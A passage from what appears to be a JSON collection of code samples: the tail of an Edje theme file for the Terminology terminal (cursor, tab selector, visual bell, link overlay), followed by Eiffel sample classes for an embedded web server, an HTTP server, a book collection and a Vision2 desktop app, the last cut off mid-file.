show where text is typed\n   group { name: \"terminology/cursor\";\n      images {\n        image: \"cr_key.png\" COMP;\n        image: \"cr_out.png\" COMP;\n      }\n      sounds {\n         sample { name: \"key-tap1\" LOSSY 64;\n            source: \"kbd-tap.wav\";\n         }\n         sample { name: \"key-tap2\" LOSSY 64;\n            source: \"kbd-tap2.wav\";\n         }\n         sample { name: \"key-tap3\" LOSSY 64;\n            source: \"kbd-tap3.wav\";\n         }\n         sample { name: \"key-tap4\" LOSSY 64;\n            source: \"kbd-tap4.wav\";\n         }\n         sample { name: \"key-tap5\" LOSSY 64;\n            source: \"kbd-tap5.wav\";\n         }\n      }\n      parts {\n         part { name: \"pulsclip\"; type: RECT;\n            description { state: \"default\" 0.0;\n            }\n            description { state: \"pulse\" 0.0;\n               color: 255 255 255 80;\n            }\n         }\n         part { name: \"key\";\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               rel1 {\n                  to: \"outline\";\n                  offset: -5 -5;\n               }\n               rel2 {\n                  to: \"outline\";\n                  offset: 4 4;\n               }\n               image {\n                  normal: \"cr_key.png\";\n                  border: 4 4 4 4;\n               }\n               color: 255 255 255 0;\n            }\n            description { state: \"on\" 0.0;\n               inherit: \"default\" 0.0;\n               color: 255 255 255 255;\n            }\n            description { state: \"out\" 0.0;\n               inherit: \"default\" 0.0;\n               color: 160 100 255 0;\n            }\n         }\n         part { name: \"outline\";\n            mouse_events: 0;\n            clip_to: \"pulsclip\";\n            description { state: \"default\" 0.0;\n               image {\n                  normal: \"cr_out.png\";\n                  border: 3 3 3 3;\n               }\n               color: 255 255 255 64;\n            }\n            description { state: \"focused\" 0.0;\n               inherit: \"default\" 0.0;\n               color: 255 255 255 255;\n            }\n         }\n         programs {\n            program { name: \"focus_in_noblink\";\n               signal: \"focus,in,noblink\";\n               source: \"terminology\";\n               action: STATE_SET \"focused\" 0.0;\n               target: \"outline\";\n            }\n            program { name: \"focus_in\";\n               signal: \"focus,in\";\n               source: \"terminology\";\n               action: STATE_SET \"focused\" 0.0;\n               target: \"outline\";\n               after: \"pulse-prepare\";\n            }\n            program { name: \"pulse-prepare\";\n               action: STATE_SET \"default\" 0.0;\n               target: \"pulsclip\";\n               after: \"pulse\";\n            }\n            program { name: \"pulse\";\n               action: STATE_SET \"pulse\" 0.0;\n               transition: DECELERATE 0.5;\n               target: \"pulsclip\";\n               after: \"pulse2\";\n            }\n            program { name: \"pulse2\";\n               action: STATE_SET \"default\" 0.0;\n               in: 1.5 0.0;\n               transition: DECELERATE 0.5;\n               target: \"pulsclip\";\n               after: \"pulse\";\n            }\n\n            program { name: \"focus_out\";\n               signal: \"focus,out\";\n               source: \"terminology\";\n               action: ACTION_STOP;\n               target: \"focus_in\";\n               target: \"pulse\";\n               target: \"pulse2\";\n               after: \"focus_out2\";\n            }\n            program { name: \"focus_out2\";\n               action: STATE_SET \"default\" 0.0;\n               target: \"outline\";\n               target: \"pulsclip\";\n            }\n            program {\n               signal: \"key,down\"; source: \"terminology\";\n               script {\n#if (EFL_VERSION_MAJOR > 1) || (EFL_VERSION_MINOR >= 8)\n                  new buf[32];\n                  snprintf(buf, 31, \"key-down%i\", (rand() % 5) + 1);\n                  run_program(get_program_id(buf));\n#else\n                  run_program(PROGRAM:\"key-down4\"); // chosen by a fair dice roll\n                                                    // guaranteed to be random.\n                                                    // http://xkcd.com/221/\n#endif\n               }\n            }\n            program { name: \"key-down1\";\n               action: PLAY_SAMPLE \"key-tap1\" 1.0;\n            }\n            program { name: \"key-down2\";\n               action: PLAY_SAMPLE \"key-tap2\" 1.0;\n            }\n            program { name: \"key-down3\";\n               action: PLAY_SAMPLE \"key-tap3\" 1.0;\n            }\n            program { name: \"key-down4\";\n               action: PLAY_SAMPLE \"key-tap4\" 1.0;\n            }\n            program { name: \"key-down5\";\n               action: PLAY_SAMPLE \"key-tap5\" 1.0;\n            }\n            program { name: \"key\";\n               signal: \"key,down\";\n               source: \"terminology\";\n               action: STATE_SET \"default\" 0.0;\n               target: \"key\";\n               after: \"key2\";\n            }\n            program { name: \"key2\";\n               action: STATE_SET \"on\" 0.0;\n               target: \"key\";\n               after: \"key3\";\n            }\n            program { name: \"key3\";\n               action: STATE_SET \"out\" 0.0;\n               transition: DECELERATE 0.3;\n               target: \"key\";\n            }\n         }\n      }\n   }\n\n   //////////////////////////////////////////////////////////////////////////////\n      //// an object to contain the selection tool used for selecting tabs (with\n      //// a glow grid of terms\n      group { name: \"terminology/sel/base\";\n         images {\n           image: \"pm_fill.png\" COMP;\n         }\n         script {\n            public message(Msg_Type:type, id, ...) {\n               if ((type != MSG_INT) || (id != 1)) return;\n\n               if (getarg(2) < 100)\n                 set_state(PART:\"fill\", \"translucent\", 0.0);\n               else\n                 set_state(PART:\"fill\", \"default\", 0.0);\n         }\n      }\n         parts {\n            ////////////////////////////////////////////////////////////////////\n            // background and shadows\n            part { name: \"fill\";\n               mouse_events: 0;\n               description { state: \"default\" 0.0;\n                  image.normal: \"pm_fill.png\";\n                  fill {\n                     size.relative: 0.0 0.0;\n                     size.offset: 64 64;\n                  }\n               }\n               description { state: \"translucent\" 0.0;\n                  inherit: \"default\" 0.0;\n                  visible: 0;\n               }\n            }\n            program {\n               signal: \"translucent,on\"; source: \"terminology\";\n               action: STATE_SET \"translucent\" 0.0;\n               target: \"fill\";\n            }\n            program {\n               signal: \"translucent,off\"; source: \"terminology\";\n               action: STATE_SET \"default\" 0.0;\n               target: \"fill\";\n            }\n\n            ////////////////////////////////////////////////////////////////////\n            // content (where the grid of terms goes)\n            part { name: \"clip\"; type: RECT;\n               description { state: \"default\" 0.0;\n               }\n            }\n            part { name: \"terminology.content\"; type: SWALLOW;\n               clip_to: \"clip\";\n               description { state: \"default\" 0.0;\n               }\n            }\n         }\n      }\n\n      group { name: \"terminology/sel/item\";\n         images {\n           image: \"bg_bevel.png\" COMP;\n           image: \"pm_shadow.png\" COMP;\n           image: \"cr_glow.png\" COMP;\n           image: \"bg_led_base.png\" COMP;\n           image: \"bg_led.png\" COMP;\n           image: \"bg_led_strobe.png\" COMP;\n         }\n         parts {\n            ////////////////////////////////////////////////////////////////////\n            // base background and selection image\n            part { name: \"clip\"; type: RECT;\n               description { state: \"default\" 0.0;\n                  rel1.to: \"terminology.content\";\n                  rel2.to: \"terminology.content\";\n                  color: 128 128 128 255;\n               }\n               description { state: \"selected\" 0.0;\n                  inherit: \"default\" 0.0;\n                  color: 255 255 255 255;\n               }\n            }\n            part { name: \"shadow\";\n               mouse_events: 0;\n               description { state: \"default\" 0.0;\n                  fixed: 1 1;\n                  rel1.to: \"terminology.content\";\n                  rel2.to: \"terminology.content\";\n                  rel1.offset: -5 -5;\n                  rel2.offset: 4 4;\n                  image.normal: \"pm_shadow.png\";\n                  image.border: 64 64 64 64;\n                  image.border_scale_by: 0.1;\n                  color: 255 255 255 128;\n                  fill.smooth: 0;\n               }\n               description { state: \"selected\" 0.0;\n                  inherit: \"default\" 0.0;\n                  rel1.offset: -40 -40;\n                  rel2.offset: 39 39;\n                  image.border_scale_by: 1.0;\n                  color: 255 255 255 255;\n               }\n            }\n\n            part { name: \"glow\";\n               mouse_events: 0;\n               description { state: \"default\" 0.0;\n                  rel1.to: \"terminology.content\";\n                  rel2.to: \"terminology.content\";\n                  rel1.offset: -4 -4;\n                  rel2.offset: 3 3;\n                  image {\n                     normal: \"cr_glow.png\";\n                     border: 9 9 9 9;\n                  }\n                  color: 255 255 255 0;\n               }\n               description { state: \"selected\" 0.0;\n                  inherit: \"default\" 0.0;\n                  color: 255 255 255 255;\n               }\n            }\n\n            ////////////////////////////////////////////////////////////////////\n            // swallowed terminal content + bg inside it\n            part { name: \"base\"; type: RECT;\n               clip_to: \"clip\";\n               description { state: \"default\" 0.0;\n                  color: BG_COLOR;\n                  rel1.to: \"terminology.content\";\n                  rel2.to: \"terminology.content\";\n               }\n            }\n            part { name: \"terminology.content\"; type: SWALLOW;\n               clip_to: \"clip\";\n               description { state: \"default\" 0.0;\n                  rel1.relative: 0.1 0.1;\n                  rel2.relative: 0.9 0.9;\n               }\n               description { state: \"selected\" 0.0;\n                  inherit: \"default\" 0.0;\n                  rel1.relative: 0.0 0.0;\n                  rel2.relative: 1.0 1.0;\n               }\n            }\n            program {\n               signal: \"selected\"; source: \"terminology\";\n               action: STATE_SET \"selected\" 0.0;\n               transition: DECELERATE 0.2 CURRENT;\n               target: \"terminology.content\";\n               target: \"terminology.label\";\n               target: \"shadow\";\n               target: \"clip\";\n               target: \"glow\";\n            }\n            program {\n               signal: \"selected,start\"; source: \"terminology\";\n               action: STATE_SET \"selected\" 0.0;\n               target: \"terminology.content\";\n               target: \"terminology.label\";\n               target: \"shadow\";\n               target: \"clip\";\n               target: \"glow\";\n            }\n            program {\n               signal: \"unselected\"; source: \"terminology\";\n               action: STATE_SET \"default\" 0.0;\n               transition: DECELERATE 0.4 CURRENT;\n               target: \"terminology.content\";\n               target: \"terminology.label\";\n               target: \"shadow\";\n               target: \"clip\";\n               target: \"glow\";\n            }\n\n            ////////////////////////////////////////////////////////////////////\n            // fancy stuff over the top of the terminal for shading and labelling\n            part { name: \"bevel\";\n               mouse_events: 0;\n               description { state: \"default\" 0.0;\n                  fixed: 1 1;\n                  rel1.to: \"terminology.content\";\n                  rel2.to: \"terminology.content\";\n                  image.normal: \"bg_bevel.png\";\n                  image.border: 3 3 5 3;\n                  image.middle: 0;\n                  fill.smooth: 0;\n               }\n            }\n            part { name: \"terminology.label\"; type: TEXT; mouse_events: 0;\n               scale: 1;\n               description { state: \"default\" 0.0;\n                  rel1.to: \"terminology.content\";\n                  rel2.to: \"terminology.content\";\n                  color: 255 255 255 255;\n                  align: 0.5 1.0;\n                  text { font: \"Sans\"; size: 10;\n                     align: 0.5 1.0;\n                     min: 0 1;\n                  }\n               }\n               description { state: \"selected\" 0.0;\n                  inherit: \"default\" 0.0;\n                  color: 255 255 255 255;\n                  text { font:\"Sans:style=Bold\"; }\n               }\n            }\n\n            ////////////////////////////////////////////////////////////////////\n            // visual bell - spinning red siren light\n            part { name: \"bell_base\";\n               mouse_events: 0;\n               description { state: \"default\" 0.0;\n                  fixed: 1 1;\n                  visible: 0;\n                  color: 255 255 255 0;\n                  min: 32 32;\n                  max: 32 32;\n                  rel1.to: \"terminology.content\";\n                  rel2.to: \"terminology.content\";\n                  align: 1.0 1.0;\n                  image.normal: \"bg_led_base.png\";\n               }\n               description { state: \"visible\" 0.0;\n                  inherit: \"default\" 0.0;\n                  visible: 1;\n                  color: 255 255 255 255;\n               }\n            }\n            part { name: \"bell\";\n               mouse_events: 0;\n               description { state: \"default\" 0.0;\n                  fixed: 1 1;\n                  visible: 0;\n                  color: 255 255 255 0;\n                  rel1.to: \"bell_base\";\n                  rel2.to: \"bell_base\";\n                  image.normal: \"bg_led.png\";\n               }\n               description { state: \"visible\" 0.0;\n                  inherit: \"default\" 0.0;\n                  visible: 1;\n                  color: 255 255 255 255;\n               }\n            }\n            part { name: \"bell_strobe\";\n               mouse_events: 0;\n               description { state: \"default\" 0.0;\n                  fixed: 1 1;\n                  visible: 0;\n                  color: 255 255 255 0;\n                  rel1.to: \"bell\";\n                  rel2.to: \"bell\";\n                  image.normal: \"bg_led_strobe.png\";\n                  map {\n                     on: 1;\n                     smooth: 1;\n                     rotation.center: \"bell\";\n                  }\n               }\n               description { state: \"spin\" 0.0;\n                  inherit: \"default\" 0.0;\n                  visible: 1;\n                  color: 255 255 255 255;\n                  map.rotation.z: 36.0;\n               }\n               description { state: \"spin_done\" 0.0;\n                  inherit: \"spin\" 0.0;\n                  map.rotation.z: 720.0;\n               }\n               description { state: \"spin_done2\" 0.0;\n                  inherit: \"spin\" 0.0;\n                  map.rotation.z: 1440.0;\n               }\n            }\n            program {\n               signal: \"bell\"; source: \"terminology\";\n               action: STATE_SET \"default\" 0.0;\n               target: \"bell_base\";\n               target: \"bell\";\n               target: \"bell_strobe\";\n               after: \"bell\";\n            }\n            program { name: \"bell\";\n               action: STATE_SET \"visible\" 0.0;\n               target: \"bell_base\";\n               after: \"bell2\";\n            }\n            program { name: \"bell2\";\n               action: STATE_SET \"visible\" 0.0;\n               transition: DECELERATE 0.1;\n               target: \"bell\";\n               after: \"bell3\";\n            }\n            program { name: \"bell3\";\n               action: STATE_SET \"spin\" 0.0;\n               transition: LINEAR 0.1;\n               target: \"bell_strobe\";\n               after: \"bell4.2\";\n            }\n            program { name: \"bell4.2\";\n               action: STATE_SET \"spin_done\" 0.0;\n               transition: LINEAR 0.9;\n               target: \"bell_strobe\";\n               after: \"bell4.3\";\n            }\n            program { name: \"bell4.3\";\n               action: STATE_SET \"spin_done2\" 0.0;\n               transition: LINEAR 1.0;\n               target: \"bell_strobe\";\n               after: \"bell4.4\";\n            }\n            program { name: \"bell4.4\";\n               action: STATE_SET \"spin_done\" 0.0;\n               target: \"bell_strobe\";\n               after: \"bell4.3\";\n            }\n         }\n      }\n\n\n//////////////////////////////////////////////////////////////////////////////\n   //// an object overlayd on text that is a link\n   group { name: \"terminology/link\";\n      images {\n        image: \"lk_bottom.png\" COMP;\n      }\n      parts {\n         part { name: \"bottom\";\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               image.normal: \"lk_bottom.png\";\n               image.border: 9 9 0 0;\n               align: 0.5 1.0;\n               min: 20 8;\n               rel1.offset: -6 0;\n               rel1.relative: 0.0 1.0;\n               rel2.offset: 5 0;\n               color: 100 200 255 255;\n               fill.smooth: 0;\n            }\n         }\n         part { name: \"event\"; type: RECT;\n            mouse_events: 1;\n            repeat_events: 1;\n            description { state: \"default\" 0.0;\n               color: 0 0 0 0;\n            }\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "samples/Eiffel/app_embedded_web_execution.e",
    "content": "note\n\tdescription: \"Summary description for {APP_EMBEDDED_WEB_EXECUTION}.\"\n\tauthor: \"\"\n\tdate: \"$Date$\"\n\trevision: \"$Revision$\"\n\nclass\n\tAPP_EMBEDDED_WEB_EXECUTION\n\ninherit\n\tEMBEDDED_WEB_EXECUTION\n\t\tredefine\n\t\t\tinitialize\n\t\tend\n\ncreate\n\tmake\n\nfeature {NONE} -- Initialization\n\n\tinitialize\n\t\tdo\n\t\t\tPrecursor\n\t\t\tcreate request_exit_operation_actions\n\t\t\tlocal_connection_restriction_enabled := True\n\t\tend\n\nfeature -- Execution\n\n\trequest_exit_operation_actions: ACTION_SEQUENCE [TUPLE]\n\n\texecute\n\t\t\t-- Execute the request\n\t\t\t-- See `request.input' for input stream\n    \t\t--     `request.meta_variables' for the CGI meta variable\n\t\t\t-- and `response' for output buffer\n\t\tlocal\n\t\t\trouter: WSF_ROUTER\n\t\t\tsess: detachable WSF_ROUTER_SESSION\n\t\t\tm: WSF_HTML_PAGE_RESPONSE\n\t\t\tb: STRING\n\t\t\tfs: WSF_FILE_SYSTEM_HANDLER\n\t\t\treq: like request\n\t\tdo\n\t\t\treq := request\n\n\t\t\tcreate router.make (3)\n\t\t\trouter.handle (\"/test/{var}\", create {WSF_URI_TEMPLATE_AGENT_HANDLER}.make (agent handle_test), Void)\n\t\t\trouter.handle (\"/env\", create {WSF_URI_AGENT_HANDLER}.make (agent handle_env), Void)\n\t\t\trouter.handle (\"/exit\", create {WSF_URI_TEMPLATE_AGENT_HANDLER}.make (agent handle_exit), Void)\n\t\t\tcreate fs.make_with_path ((create {EXECUTION_ENVIRONMENT}).current_working_path.extended (\"files\"))\n\t\t\trouter.handle (\"/files\", fs, Void)\n\t\t\tcreate sess\n\t\t\trouter.dispatch (req, response, sess)\n\t\t\tif not sess.dispatched then\n\t\t\t\tcreate m.make\n\t\t\t\tcreate b.make_from_string (\"<h1>Hello Eiffel desktop user</h1>\")\n\t\t\t\tb.append (\"<li><a href=%\"\" + req.script_url (\"/test/start\") + \"%\">test</a></li>\")\n\t\t\t\tb.append (\"<li><a href=%\"\" + req.script_url (\"/env\") + \"%\">env</a></li>\")\n\t\t\t\tb.append (\"<li><a href=%\"\" + req.script_url (\"/files\") + \"%\">files</a></li>\")\n\t\t\t\tb.append (\"<li><a href=%\"\" + req.script_url (\"/exit\") + \"%\">exit</a></li>\")\n\t\t\t\tm.set_body (b)\n\t\t\t\tresponse.send (m)\n\t\t\tend\n\t\tend\n\n\thandle_test (req: WSF_REQUEST; res: WSF_RESPONSE)\n\t\tlocal\n\t\t\tm: WSF_HTML_PAGE_RESPONSE\n\t\t\tb: STRING\n\t\t\tl_name: READABLE_STRING_32\n\t\tdo\n\t\t\tif attached {WSF_STRING} req.item (\"var\") as p_name then\n\t\t\t\tl_name := p_name.value\n\t\t\telse\n\t\t\t\tl_name := {STRING_32} \"Embedded web service and web_browser in vision2 application\"\n\t\t\tend\n\t\t\tcreate m.make\n\t\t\tcreate b.make_from_string (\"<h1>This is a test about \"+ m.html_encoded_string (l_name) +\"</h1>\")\n\t\t\tb.append (\"<li><a href=%\"\" + req.script_url (\"/\") + \"%\">back to home</a></li>\")\n\t\t\tif l_name.is_case_insensitive_equal_general (\"start\") then\n\t\t\t\tb.append (\"<li><a href=%\"\" + req.script_url (\"/test/js\") + \"%\">test javascript+ajax</a></li>\")\n\t\t\telseif l_name.is_case_insensitive_equal_general (\"js\") then\n\t\t\t\tb.append (\"[\n\t\t\t\t\t<div id=\"myDiv\"><h2>Let AJAX change this text</h2>\n\t\t\t\t\t<button type=\"button\" onclick=\"loadXMLDoc()\">Change Content</button>\n\t\t\t\t\t</div>\n\t\t\t\t]\")\n\t\t\t\tm.add_javascript_content (\"[\n\t\t\t\t\tfunction loadXMLDoc()\n\t\t\t\t\t{\n\t\t\t\t\tvar xmlhttp;\n\t\t\t\t\tif (window.XMLHttpRequest)\n\t\t\t\t\t  {// code for IE7+, Firefox, Chrome, Opera, Safari\n\t\t\t\t\t  xmlhttp=new XMLHttpRequest();\n\t\t\t\t\t  }\n\t\t\t\t\telse\n\t\t\t\t\t  {// code for IE6, IE5\n\t\t\t\t\t  xmlhttp=new ActiveXObject(\"Microsoft.XMLHTTP\");\n\t\t\t\t\t  }\n\t\t\t\t\txmlhttp.onreadystatechange=function()\n\t\t\t\t\t  {\n\t\t\t\t\t  if (xmlhttp.readyState==4 && xmlhttp.status==200)\n\t\t\t\t\t    {\n\t\t\t\t\t    document.getElementById(\"myDiv\").innerHTML=xmlhttp.responseText;\n\t\t\t\t\t    }\n\t\t\t\t\t  }\n\t\t\t\t\txmlhttp.open(\"GET\",\"/test/ajax.txt\",true);\n\t\t\t\t\txmlhttp.send();\n\t\t\t\t\t}\n\t\t\t\t]\")\n\t\t\telseif l_name.is_case_insensitive_equal_general (\"ajax.txt\") then\n\t\t\t\tb := \"This is AJAX response ... from \" + req.absolute_script_url (\"\")\n\t\t\tend\n\t\t\tm.set_body (b)\n\t\t\tres.send (m)\n\t\tend\n\n\thandle_env (req: WSF_REQUEST; res: WSF_RESPONSE)\n\t\tlocal\n\t\t\ts: STRING_8\n\t\t\tp: WSF_PAGE_RESPONSE\n\t\t\tv: STRING_8\n\t\tdo\n\t\t\tcreate s.make (2048)\n\t\t\ts.append (\"**DEBUG**%N\")\n\t\t\treq.set_raw_input_data_recorded (True)\n\n\t\t\tappend_iterable_to (\"Meta variables:\", req.meta_variables, s)\n\t\t\ts.append_character ('%N')\n\n\t\t\tappend_iterable_to (\"Path parameters\", req.path_parameters, s)\n\t\t\ts.append_character ('%N')\n\n\t\t\tappend_iterable_to (\"Query parameters\", req.query_parameters, s)\n\t\t\ts.append_character ('%N')\n\n\t\t\tappend_iterable_to (\"Form parameters\", req.form_parameters, s)\n\t\t\ts.append_character ('%N')\n\n\t\t\tif attached req.content_type as l_type then\n\t\t\t\ts.append (\"Content: type=\" + l_type.debug_output)\n\t\t\t\ts.append (\" length=\")\n\t\t\t\ts.append_natural_64 (req.content_length_value)\n\t\t\t\ts.append_character ('%N')\n\t\t\t\tcreate v.make (req.content_length_value.to_integer_32)\n\t\t\t\treq.read_input_data_into (v)\n\t\t\t\tacross\n\t\t\t\t\tv.split ('%N') as v_cursor\n\t\t\t\tloop\n\t\t\t\t\ts.append (\"     |\")\n\t\t\t\t\ts.append (v_cursor.item)\n\t\t\t\t\ts.append_character ('%N')\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tcreate p.make_with_body (s)\n\t\t\tp.header.put_content_type_text_plain\n\t\t\tres.send (p)\n\t\tend\n\n\thandle_exit (req: WSF_REQUEST; res: WSF_RESPONSE)\n\t\tlocal\n\t\t\tm: WSF_HTML_PAGE_RESPONSE\n\t\t\tb: STRING\n\t\tdo\n\t\t\tcreate m.make\n\t\t\tcreate b.make_from_string (\"<h1>Embedded server is about to shutdown</h1>\")\n\t\t\tb.append (\"<li><a href=%\"\" + req.script_url (\"/\") + \"%\">back to home</a></li>\")\n\t\t\tb.append (\"<li><a href=%\"\" + req.script_url (\"/bye\") + \"%\">Click to confirm exit operation</a></li>\")\n\t\t\tm.set_body (b)\n\t\t\tres.send (m)\n\t\t\tif attached {separate WGI_STANDALONE_CONNECTOR [WGI_EXECUTION]} req.wgi_connector as conn then\n\t\t\t\tshutdown_server (conn)\n\t\t\tend\n\t\t\trequest_exit_operation_actions.call (Void)\n\t\tend\n\n\tshutdown_server (conn: separate WGI_STANDALONE_CONNECTOR [WGI_EXECUTION])\n\t\tdo\n\t\t\tconn.shutdown_server\n\t\tend\n\nfeature {NONE} -- Implementation\n\n\tappend_iterable_to (a_title: READABLE_STRING_8; it: detachable ITERABLE [WSF_VALUE]; s: STRING_8)\n\t\tlocal\n\t\t\tn: INTEGER\n\t\t\tt: READABLE_STRING_8\n\t\t\tv: READABLE_STRING_8\n\t\tdo\n\t\t\ts.append (a_title)\n\t\t\ts.append_character (':')\n\t\t\tif it /= Void then\n\t\t\t\tacross it as c loop\n\t\t\t\t\tn := n + 1\n\t\t\t\tend\n\t\t\t\tif n = 0 then\n\t\t\t\t\ts.append (\" empty\")\n\t\t\t\t\ts.append_character ('%N')\n\t\t\t\telse\n\t\t\t\t\ts.append_character ('%N')\n\t\t\t\t\tacross\n\t\t\t\t\t\tit as c\n\t\t\t\t\tloop\n\t\t\t\t\t\ts.append (\"  - \")\n\t\t\t\t\t\ts.append (c.item.url_encoded_name)\n\t\t\t\t\t\tt := c.item.generating_type.name\n\t\t\t\t\t\tif t.same_string (\"WSF_STRING\") then\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ts.append_character (' ')\n\t\t\t\t\t\t\ts.append_character ('{')\n\t\t\t\t\t\t\ts.append (t)\n\t\t\t\t\t\t\ts.append_character ('}')\n\t\t\t\t\t\tend\n\t\t\t\t\t\ts.append_character ('=')\n\t\t\t\t\t\tv := c.item.string_representation.as_string_8\n\t\t\t\t\t\tif v.has ('%N') then\n\t\t\t\t\t\t\ts.append_character ('%N')\n\t\t\t\t\t\t\tacross\n\t\t\t\t\t\t\t\tv.split ('%N') as v_cursor\n\t\t\t\t\t\t\tloop\n\t\t\t\t\t\t\t\ts.append (\"     |\")\n\t\t\t\t\t\t\t\ts.append (v_cursor.item)\n\t\t\t\t\t\t\t\ts.append_character ('%N')\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ts.append (v)\n\t\t\t\t\t\t\ts.append_character ('%N')\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\ts.append (\" none\")\n\t\t\t\ts.append_character ('%N')\n\t\t\tend\n\t\tend\n\nend\n"
  },
  {
    "path": "samples/Eiffel/app_embedded_web_service.e",
    "content": "note\n\tdescription: \"Summary description for {APP_EMBEDDED_WEB_SERVICE}.\"\n\tauthor: \"\"\n\tdate: \"$Date$\"\n\trevision: \"$Revision$\"\n\nclass\n\tAPP_EMBEDDED_WEB_SERVICE\n\ninherit\n\tEMBEDDED_WEB_SERVICE [APP_EMBEDDED_WEB_EXECUTION]\n\ncreate\n\tmake\n\nfeature {NONE} -- Initialization\n\nend\n"
  },
  {
    "path": "samples/Eiffel/application.e",
    "content": "note\n\tdescription : \"nino application root class\"\n\tdate        : \"$Date$\"\n\trevision    : \"$Revision$\"\n\nclass\n\tAPPLICATION\n\ninherit\n\tARGUMENTS\n\n\tHTTP_SERVER_SHARED_CONFIGURATION\n\ncreate\n\tmake\n\nfeature {NONE} -- Initialization\n\n\tmake\n\t\t\t-- Run application.\n\t\tlocal\n\t\t\tl_server : HTTP_SERVER\n\t\t\tl_cfg: HTTP_SERVER_CONFIGURATION\n\t\t\tl_http_handler : HTTP_HANDLER\n\t\tdo\n\t\t\tcreate l_cfg.make\n\t\t\tl_cfg.http_server_port := 9_000\n\t\t\tl_cfg.document_root := default_document_root\n\t\t\tset_server_configuration (l_cfg)\n\t\t\tdebug (\"nino\")\n\t\t\t\tl_cfg.set_is_verbose (True)\n\t\t\tend\n\n\t\t\tcreate l_server.make (l_cfg)\n\t\t\tcreate {APPLICATION_CONNECTION_HANDLER} l_http_handler.make (l_server)\n\t\t\tl_server.setup (l_http_handler)\n\t\tend\n\nfeature -- Access\n\n\tdefault_document_root: STRING = \"webroot\"\n\nend\n\n"
  },
  {
    "path": "samples/Eiffel/book_collection.e",
    "content": "class\n\tBOOK_COLLECTION\n\ncreate\n\tmake\n\nfeature {NONE} -- Initialization\n\n\tmake (a_name: STRING_32)\n\t\t\t-- Create a book collection with `a_name' as `name'.\n\t\tdo\n\t\t\tset_name (a_name)\n\t\t\tcreate book_index.make (10)\n\t\tensure\n\t\t\tname_set: name = a_name\n\t\tend\n\nfeature -- Access\n\n\tname: STRING_32\n\t\t\t-- Name.\n\n\tbooks: LIST [BOOK]\n\t\t\t-- collection of book.\n\t\tdo\n\t\t\tcreate {LINKED_LIST [BOOK]} Result.make\n\t\t\tacross\n\t\t\t\tbook_index as it\n\t\t\tloop\n\t\t\t\tResult.append (it.item)\n\t\t\tend\n\t\tend\n\n\tbooks_by_author (a_author: STRING_32): LIST [BOOK]\n\t\t\t-- Books wrote by `a_author' in this collection.\n\t\tdo\n\t\t\tif attached book_index [a_author] as l_result then\n\t\t\t\tResult := l_result\n\t\t\telse\n\t\t\t\tcreate {LINKED_LIST [BOOK]} Result.make\n\t\t\tend\n\t\tend\n\nfeature -- Change\n\n\tset_name (a_name: STRING_32)\n\t\t\t-- Set `name' with `a_name'.\n\t\tdo\n\t\t\tname := a_name\n\t\tensure\n\t\t\tname_set: name = a_name\n\t\tend\n\n\tadd_book (a_book: BOOK)\n\t\t\t-- Extend collection with `a_book'.\n\t\tlocal\n\t\t\tl: detachable LIST [BOOK]\n\t\tdo\n\t\t\tl := book_index.at (a_book.author.name)\n\t\t\tif l = Void then\n\t\t\t\tcreate {LINKED_LIST [BOOK]} l.make\n\t\t\t\tbook_index.put (l, a_book.author.name)\n\t\t\tend\n\t\t\tl.force (a_book)\n\t\tend\n\n\tadd_books (book_list: like books)\n\t\t\t-- Append collection with `book_list'.\n\t\tdo\n\t\t\tacross\n\t\t\t\tbook_list as it\n\t\t\tloop\n\t\t\t\tadd_book (it.item)\n\t\t\tend\n\t\tend\n\nfeature {NONE} -- Implementation\n\n\tbook_index: HASH_TABLE [LIST [BOOK], STRING_32]\n\t\t\t-- Association of author name and its books.\n\nend -- class BOOK_COLLECTION\n"
  },
  {
    "path": "samples/Eiffel/desktop_app.e",
    "content": "note\n\tdescription: \"Objects that represent the Vision2 application.%\n\t\t%The original version of this class has been generated by EiffelBuild.\"\n\tgenerator: \"EiffelBuild\"\n\tlegal: \"See notice at end of class.\"\n\tstatus: \"See notice at end of class.\"\n\tdate: \"$Date$\"\n\trevision: \"$Revision$\"\n\n\nclass\n\tDESKTOP_APP\n\ninherit\n\tEV_APPLICATION\n\ncreate\n\tmake_and_launch\n\nfeature {NONE} -- Initialization\n\n\tmake_and_launch\n\t\t\t-- Create `Current', build and display `main_window',\n\t\t\t-- then launch the application.\n\t\tlocal\n\t\t\tl_win: like main_window\n\t\t\tl_embedded_service: separate APP_EMBEDDED_WEB_SERVICE\n\t\tdo\n\t\t\tdefault_create\n\t\t\tcreate l_win.make\n\t\t\tmain_window := l_win\n\t\t\tl_win.show\n\t\t\tcreate l_embedded_service.make\n\t\t\tsetup_and_launch_web_service (l_embedded_service)\n\t\t\tlaunch\n\t\tend\n\n\n\tsetup_and_launch_web_service (a_web_service: separate APP_EMBEDDED_WEB_SERVICE)\n\t\tdo\n\t\t\ta_web_service.set_port_number (0) -- Use first available port number\n\t\t\ta_web_service.set_on_launched_action (agent on_web_service_launched (a_web_service))\n\t\t\ta_web_service.launch\n\t\tend\n\n\ton_quit\n\t\tdo\n\t\t\tif attached main_window as win then\n\t\t\t\twin.destroy_and_exit_if_last\n\t\t\tend\n\t\tend\n\n\ton_web_service_launched (a_web_service: separate APP_EMBEDDED_WEB_SERVICE)\n\t\tdo\n\t\t\tif attached main_window as win then\n\t\t\t\tadd_idle_action_kamikaze (agent wait_for_termination (a_web_service, Void))\n\t\t\t\tadd_idle_action_kamikaze (agent win.open_link)\n\t\t\tend\n\t\tend\n\n\twait_for_termination (a_web_service: separate APP_EMBEDDED_WEB_SERVICE; a_timeout: detachable EV_TIMEOUT)\n\t\tlocal\n\t\t\tt: detachable EV_TIMEOUT\n\t\tdo\n\t\t\tt := a_timeout\n\t\t\tif t /= Void then\n\t\t\t\tt.set_interval (0)\n\t\t\tend\n\t\t\tif\n\t\t\t\tattached a_web_service.observer as obs and then\n\t\t\t\tobserver_has_terminaded (obs)\n\t\t\tthen\n\t\t\t\tif t /= Void then\n\t\t\t\t\tt.destroy\n\t\t\t\tend\n\t\t\t\ton_quit\n\t\t\telse\n\t\t\t\tif t = Void then\n\t\t\t\t\tcreate t\n\t\t\t\t\tt.actions.extend (agent wait_for_termination (a_web_service, 